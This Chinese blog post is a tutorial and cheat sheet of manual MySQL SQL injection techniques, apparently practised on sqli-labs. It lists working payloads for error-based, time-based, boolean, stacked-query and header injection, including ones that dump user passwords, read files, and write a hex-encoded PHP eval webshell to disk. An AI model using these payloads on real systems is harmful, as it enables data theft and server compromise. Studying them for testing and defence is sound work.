sql注入方式及知识点总结(超详细)_sql注入知识大全-程序员宅基地

技术标签: 经验分享  web  网络安全  sql  

目录

0x01 手工注入

常用查询信息

 常用函数

sql注入常用知识

sql注入类型及注入方法

1、sql注入的几种主要的类型及注入语句

1.1、报错注入

十种常见的报错注入方式

 floor函数注入

 extractvalue函数注入

 updatexml函数注入

 geometrycollection函数注入

 multipoint函数注入

polygon函数注入 

 multipolygon函数注入

 linestring函数注入

 exp函数注入

 1.2 POST报错注入

 1.3 POST错误的Uagent字段/Referer字段数据头注入

2. 基于时间的注入(Time-based Injection):不管对错页面都是You are in..

2.1 sleep(x)

 2.2 benchmark()

2.3 笛卡尔积

2a. 基于GET的时间盲注

2b.  POST 布尔型时间注入

3. 基于错误类型的注入(Error-based Injection):

3a.  post字符型注入

4. 盲注(Blind Injection):

5. 堆叠查询注入(Stacked Query Injection):

6.文件写入注入

7. 基于布尔逻辑的注入(Boolean-based Injection)

0x02 总结


0x01 手工注入

常用查询信息

  • database() # 在用的数据库名

  • user() # 用户信息

  • version() # 数据库版本信息

  • @@basedir # 数据库安装路径

  • @@version_compile_os # 操作系统版本

  • @@datadir#数据库文件地址

  • @@hostname#系统主机名

  • @@port#数据库对应的端口

 eg:查看php版本及数据库名称:

http://example/example.php?id=1' and 1=2 union select 1,version(),database() --+

 常用函数

  • ascii() 函数,返回字符ascii码值

  • length() 函数,返回字符串的长度

  • left() 函数,返回从左至右截取固定长度的字符串

  • substr()/substring() 函数 , 返回从pos位置开始到length长度的子字符串

  • length:截取长度

sql注入常用知识

1.information_schema:表示所有信息,包括库、表、列

2.information_schema.tables:记录所有表名信息的表

3.information_schema.columns:记录所有列名信息的表

4.table_schema:数据库的名称

5.table_name:表名

6.column_name:列名

7.group_concat():显示所有查询到的数据

sql注入类型及注入方法

1、sql注入的几种主要的类型及注入语句

1.1、报错注入
十种常见的报错注入方式

报错注入是利用mysql在出错的时候会引出查询信息的特征,常用的报错手段有如下10种:

# 修改select user() 字段 获取不同的信息

# 1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

# 2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

# 3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

# 4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

# 5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

# 6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

# 7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

# 8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

# 9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

# 10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));

 floor函数注入

常见注入语句:

http://example/example.php?id=-1' union select 1,count(),concat((floor(rand(0)2)),'--',(select concat(id,'-',username,'-',password) from security.users limit 0,1))x from information_schema.tables group by x%23

 解析:

  • 只能用concat连接 ,group_concat不行,且每次只能显示一条数据

  • 要让上述的报错实现,数据库至少要3条数据

  • count():查询数量

  • rand():产生0~1间的随机数

  • floor():向下取整

  • group by:按指定分类

 extractvalue函数注入

注意:

  • MySQL 5.1.5版本以上才支持该函数;

  • 返回的数据限制为32位;

函数语法:

  • EXTRACTVALUE (XML_document, XPath_string);

  • 第一个参数:XML_document是String格式,为XML文档对象的名称

  • 第二个参数:XPath_string (Xpath格式的字符串)

  • 作用:从目标XML中返回包含所查询值的字符串

写法:

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

运用:

http://example/example.php?id=-1 and (extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e)))--+其中ox7e为~

 updatexml函数注入

注意:

  • MySQL 5.1.5版本以上才支持该函数

  • 返回的数据限制为32位

语法:

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称

第二个参数:XPath_string (Xpath格式的字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

写法:

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

运用:

http://example/example.php?id=-1' and (updatexml(1,concat(0x7e,(select SUBSTRING(group_concat(username),12) from users),0x7e),1))--+

 geometrycollection函数注入

运用:

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

 multipoint函数注入

运用:

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

polygon函数注入 

运用:

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

 multipolygon函数注入

运用:

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

 linestring函数注入

运用:

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

 exp函数注入

运用:

select * from test where id=1 and exp(~(select * from(select user())a));

 1.2 POST报错注入

1.2.1 首先判断注入点,判断通过什么符号闭合

1.2.2 然后查询信息

uname=') and (updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1))#&passwd=&submit=Submit
或者
uname=admin&passwd=' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))#&submit=Submit

 1.3 POST错误的Uagent字段/Referer字段数据头注入

1.3.1 判断注入点

  • 页面显示yourip应该是请求头的参数参入

  • 同时post传入并未有该参数

  • 用admin登录成功后发现有User-agents显示

1.3.2 构造payload

User-Agent: ' and (updatexml(1,concat(0x7e,user(),0x7e),1)) and '1' = '1

2. 基于时间的注入(Time-based Injection):不管对错页面都是You are in..

概念:

基于时间的注入可以利用延迟的 SQL 查询来判断数据库的回应。攻击者可以向数据库发送包含时间计算的语句并在执行完毕之前等待一段时间,然后再通过响应时间来判断是否成功执行。

常见时间盲注:

2.1 sleep(x)

id=' or sleep(3)%23

id=' or if(ascii(substr(database(),1,1))>114,sleep(3),0)%23

查询结果正确,则延迟3秒(通过F12->网络查看),错误则无延时。

 2.2 benchmark()

通过大量运算来模拟延时:

id=' or benchmark(10000000,sha(1))%23

id=' or if(ascii(substr(database(),1,1))>114,benchmark(10000000,sha(1)),0)%23

本地测试这个值大约可延时3秒:  

2.3 笛卡尔积

计算笛卡尔积也是通过大量运算模拟延时:

select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C

select balabala from table1 where '1'='2' or if(ascii(substr(database(),1,1))>0,(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),0)

 笛卡尔积延时大约也是3秒

2a. 基于GET的时间盲注

2a.1 判断注入点

添加‘或者/等符号页面无变化;

猜测不管语法对错页面都没有变化

尝试使用sleep看是否执行

 2a.2 构造payload

http://example/example.php?id=1'and if((length(database())=8),sleep(5),1)--+(如果成功会延时5秒可以通过burpsuite查看)

2b.  POST 布尔型时间注入

判断:

使用了\ ’ 等各种姿势网页始终没有变化

判断可能是时间盲注

直接用uname=admin' and sleep(10)#&passwd=1&submit=Submit 发现确实是时间盲注

3. 基于错误类型的注入(Error-based Injection):

3.1.1 判断注入点

加上单引号可能会报错

http://example/example.php?id=1'(常见注入点:‘【一个单引号】''【两个单引号】"【一个双引号】’)【单引号加括号】”)【双引号加括号】'))【单引号加双括号】)下文id=1后的’需要根据自己判断的注入点而有所改变

需要加上注释符

http://example/example.php?id=1'--+

可能还需要加上and 1=1页面才会显示正常

http://example/example.php?id=1' and 1=1--+

注释方式

  • # 号注释

  • %23 注释(#的URL编码)

  • --+ 注释(--符号表示SQL语句中的单行注释标记,即双减号后的所有字符都被视为注释,不属于SQL语句中的一部分。+号用于在MySQL注释中添加空格,以避免该注释与下一个语句的字符合并。)

常用方法:

a' OR 1 = 1--+
a') OR 1 = 1--+
a')) OR 1 = 1--+
a" OR 1 = 1--+
a") OR 1 = 1--+
a")) OR 1 = 1--+

 3.1.2 判断字段数(使用order by)

http://example/example.php?id=1' order by 3--+若正常

http://example/example.php?id=1' order by 4--+页面显示错误

可以得出字段数为3  

3.1.3 执行注入payload  

 http://example/example.php?id=-1' union select 1,2,3--+

 页面会显示2,3

3.1.4 查询基本信息

查看表名称

group_concat函数:将查询到的多行结果连接成字符串

http://example/example.php?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

 查看列名 :

http://example/example.php?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' --+

 查询数据库数据:

 http://example/example.php?id=-1 union select 1,group_concat(username),group_concat(password) from users --+

3a.  post字符型注入

特征:显示输出框,说明是POST提交方式的注入。

3a.1 判断注入点

先在输入框中输入符号,判断是什么符号的字符型注入;然后依据GET注入的方式换为POST提交

 3a.2 获取基本信息

 查看字段数

uname=admin' order by 2#&passwd=&submit=Submit 正常uname=admin' order by 3#&passwd=&submit=Submit 不正常

  查询数据库所有数据

 uname=-admin' union select group_concat(username,password),2 from users#&passwd=&submit=Submit

4. 盲注(Blind Injection):

概念:

盲注是指在不返回结果的情况下执行注入攻击。这种类型的攻击通常会利用时间延迟或错误消息来在用户或应用程序不知情的情况下收集信息。

5. 堆叠查询注入(Stacked Query Injection):

概念:

堆叠查询注入攻击利用支持多个查询的组合语句(如 MySQL 中的 UNION 语句)执行多个查询并收集结果。这也是一种非常常见的注入类型。

注意:在select被过滤(/i参数过滤)时可以使用堆叠注入代替

5.1 查询所有数据库

 -1'; show databases; # 代替-1' union select 1,databases #

 5.2 看见所有数据库后,再看某一个具体的数据库的所有表

 -1';use xxx(数据库);show tables;#

5.3 看见表后,查看表中可疑字段  

 -1';use xxx(数据库);show columns from `xxx(表)`;#   注:当纯数字字符串是表名的时候需要加反引号`                

 5.4 字段查询(handler查询法)

 -1';use xxx(数据库);handler `xxx`(字段名) open as p;handler p read first;#

6.文件写入注入

6.1 判断注入点(具体查看3.基于错误类型的注入)

6.2 写入文件配置(使用条件)  

secure-file-priv为空具体查看0x003 利用outfile写文件写webshell  

6.3写入敏感文件  

写入一句话木马  

 http://example/example.php?id=-1')) union select 1,0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e(一句话木马编码),3 into outfile "E:\xxx\shell.php"--+

 写入phpinfo

 http://example/example.php?id=1')) 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile "E:xxx\shell.php--+

写入时的注意事项

  • 写入的内容需要用hex转码,以防拦截

  • 写入的前提需要知道物理文件路径

  • 写入的前提是有权限写入,或者有配置写入的权限

读取敏感文件(前提要有页面输出 )

http://example/example.php?id=-1') union select 1,load_file('e:\mm.php'),3--+ 

7. 基于布尔逻辑的注入(Boolean-based Injection)

7.1概念:

基于布尔逻辑的注入尝试通过构造适当的逻辑条件来判断是否存在已知的漏洞。这种类型的攻击通常需要攻击者通过改变 SQL 语句中的值或操作符以实现条件语句的成立或不成立,从而获取目标数据。

7.2 注入方法及步骤  

7.2.1 判断注入点;  

7.2.2 构造payload(利用二分法构造)来判断布尔值来确定查询的结果  

http://example/example.php?id=1' and (ascii(substr((select database()) ,1,1))) = 115--+( substr() 函数取得当前数据库名称的第一个字符,并使用 ascii() 函数将其转换为 ASCII 码值(115是由字符's'的 ASCII码值推导出来的)。)

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (length(database())) = 8 --+ #数库名长度=8

 常见的布尔盲注场景有两种,一是返回值只有True或False的类型,二是Order by盲注。

 返回值只有True或False的类型

如果查询结果不为空,则返回True(或者是Success之类的),否则返回False

这种注入比较简单,可以挨个猜测表名、字段名和字段值的字符,通过返回结果判断猜测是否正确

 例:parameter=’ or ascii(substr((select database()) ,1,1))<115—+

 Orderby盲注

order by rand(True)和order by rand(False)的结果排序是不同的,可以根据这个不同来进行盲注:  

例:order by rand(database()='pdotest') 

返回了True的排序,说明database()=’pdotest’是正确的值  

0x02 总结

若感兴趣可以查看博主后续文章。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_67473072/article/details/131865837

智能推荐

js ajax设置和获取自定义http头header信息的方法总结_$.ajax 获取head-程序员宅基地

文章浏览阅读6.6k次。1、js ajax 设置自定义header1.1 方法一:$.ajax({ type: "POST", url: "Handler1.ashx", contentType: "application/x-www-form-urlencoded", beforeSend: function (request) { request.setReques..._$.ajax 获取head

centos7安装oracle12c_prvf-7573-程序员宅基地

文章浏览阅读1.6w次。本文 基本参考了下面这篇文章http://blog.csdn.net/gq5251/article/details/42004035但是改正了一些错误操作系统:CentOS Linux release 7.2.1511 (Core) oracle: oarcle (12.1.0.2.0) - Standard Edition (SE2)几点要注意的关于虚拟机_prvf-7573

Debian12使用文档_debain12 iptables service-程序员宅基地

文章浏览阅读1.1k次,点赞7次,收藏12次。Debian官方下载地址:https://www.debian.org/download。方法一:在文件中设定。并不是linux下一个基本的命令,它实际上是。Debian/Ubuntu默认不支持命令。注释去掉,如果还想使用la命令,也可以将。查看含有中文的文本文件正常,但是使用。进入当前用户目录,使用vim 编辑。如果已安装wget,终端将会输出。更新软件源列表缓存,然后运行命令。命令,安装完成后,请再次运行命令。问题:在Linux系统下,使用。进入root用户根目录,使用。,这样使用起来不是很方便。_debain12 iptables service

【SEU 数据结构课笔记】 03 - 2021/03/15 - LaTeX Code of Assignment_seuⅠ123.en-程序员宅基地

文章浏览阅读210次。% !TeX spellcheck = en_EN-EnglishUnitedKingdom\documentclass{article}\usepackage{amsmath,amssymb,amsthm}\usepackage{graphicx}\usepackage{xcolor}\usepackage{fancyhdr}\usepackage{fancyhdr}\usepackage{graphicx}\usepackage{titlesec}\usepackage{titlet_seuⅠ123.en

Opencv、VTK在vs2013中的配置_vtk与opencv的关系-程序员宅基地

文章浏览阅读3.6k次,点赞3次,收藏4次。本人在程序开发时候,用到了这两个库包,所以放到一起介绍一下两个库包的配置,其实在window上库包配置是有很大的相同性的。 Opencv配置 1)Opencv目录组织结构:nclude: 包含opencv头文件.● lib: 存放lib文件( 动态编译链接库),是有的函数声明式.●bin:存放Dll文件( 动态连接库文件),是所有函数的实现过程.●staticlib: 静态编译连接库,存放也是.lib文件。但是里面包括了函数的声明和实现。_vtk与opencv的关系

共识(raft)算法_共识算法-程序员宅基地

文章浏览阅读1.6k次。raft算法_共识算法

随便推点

java jdk安装失败 mac_Mac环境下JDK安装方法-程序员宅基地

文章浏览阅读3k次。标签:1.版本MAC OS10.10.3JDK:jdk1.8.0_40jdk下载mac版本的:http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html2. 将JDK压缩包解压到某个路径下/Library/Java/JavaVirtualMachines/jdk1.8.0_40.jdk/C..._jdk8 mac安装失败错误

澳洲森林火灾蔓延数学建模,基于元胞自动机模拟多模式下火灾蔓延(附部分源码)_模拟森林火灾模型-程序员宅基地

文章浏览阅读7.7k次,点赞29次,收藏80次。元胞自动机模型可以用来模拟交通流、火灾蔓延情况、高速收费站交通情况,有利于我们更好地改善交通状况,更好地控制火灾蔓延,合理地设置收费站的数量等。在我们为每个元胞的时间进化制定规则之前,我们最好先确定每个元胞的相邻元胞结构是什么,这里我们采用Von.Neumann模型。在二维元胞自动机模型中,元胞与其相邻元胞之间的直线距离通常是元胞长度的一个单位,但有时这个距离等于两个单位。在我们的模拟中,我们选择一个单元的长度作为相邻元胞的联系,如图2所示。图2 Von.Neumann邻近模型..._模拟森林火灾模型

嵌入式操作系统(嵌入式学习)-程序员宅基地

文章浏览阅读4.6k次,点赞8次,收藏37次。FreeRTOS具有活跃的社区支持和丰富的资源,提供了大量的示例代码、文档和交流平台,使开发人员能够更容易地上手和使用。开源和活跃的社区支持:FreeRTOS是一个开源项目,拥有庞大的用户社区和活跃的开发者社区。嵌入式操作系统的主要目标是提供对硬件资源的有效管理和对应用程序的调度,以实现系统的可靠性、实时性和效率。操作系统提供中断处理机制,允许中断的优先级管理和处理程序的注册和调度,确保及时处理和响应来自外部的事件。重要的是,初学者应保持学习的兴趣和耐心,逐步深入理解嵌入式系统的工作原理和开发流程。_嵌入式操作系统

[essay]12.26-程序员宅基地

文章浏览阅读65次。其实,有时候看电影都挺好的,好像一下子自己长大了一点,或许大学可能缺少一些像小学一样教会你人生的一些课程例如思想政治,我非常感谢当时能够帮助我构件属于自己人生观的思想政治老师,他的话语总是让人信服的。^。 ^谢谢,回归正题,今天就看了《和莎莫的500天》然后看到了豆瓣其中一个影评,似乎明白了电影想传达的一些东西,有时候fate抑或系meant to be 都是自己觉得而已,或许...

一文轻松入门 Linux 三剑客与正则表达式 | 测试利器 Shell 教程(一)-程序员宅基地

文章浏览阅读220次。本文适合 Shell 入门学习演练,作者为霍格沃兹测试学院实习生MrDong,建议在 Web 端阅读并按教程执行命令操作。为什么使用三剑客?Linux 给人的印象是黑乎乎的神秘窗口,文..._测试开发实战|一文轻松入门 linux 三剑客与正则表达式(二) - 霍格沃兹测试学院公

java wifi开发教程_WiFi技术-程序员宅基地

文章浏览阅读2.7w次。WiFi技术啥MU-MIMO :多用户-多输入多输出2x2 MIMO :2个输入in,2个输出out。? 一根天线既做接收也做发送,2x2即两根天线,同理4x4即为4根天线? Redmi AX6 共6根天线,4根作为5G天线,2根作为2.4G天线Redmi AX6 支持2x2 160MHz 及 4x4 80MHz 两种MU-MIMO工作模式802.11 对照表协议频宽(MHz)单天线速率(Mbps..._japan java wifi

推荐文章

热门文章

相关标签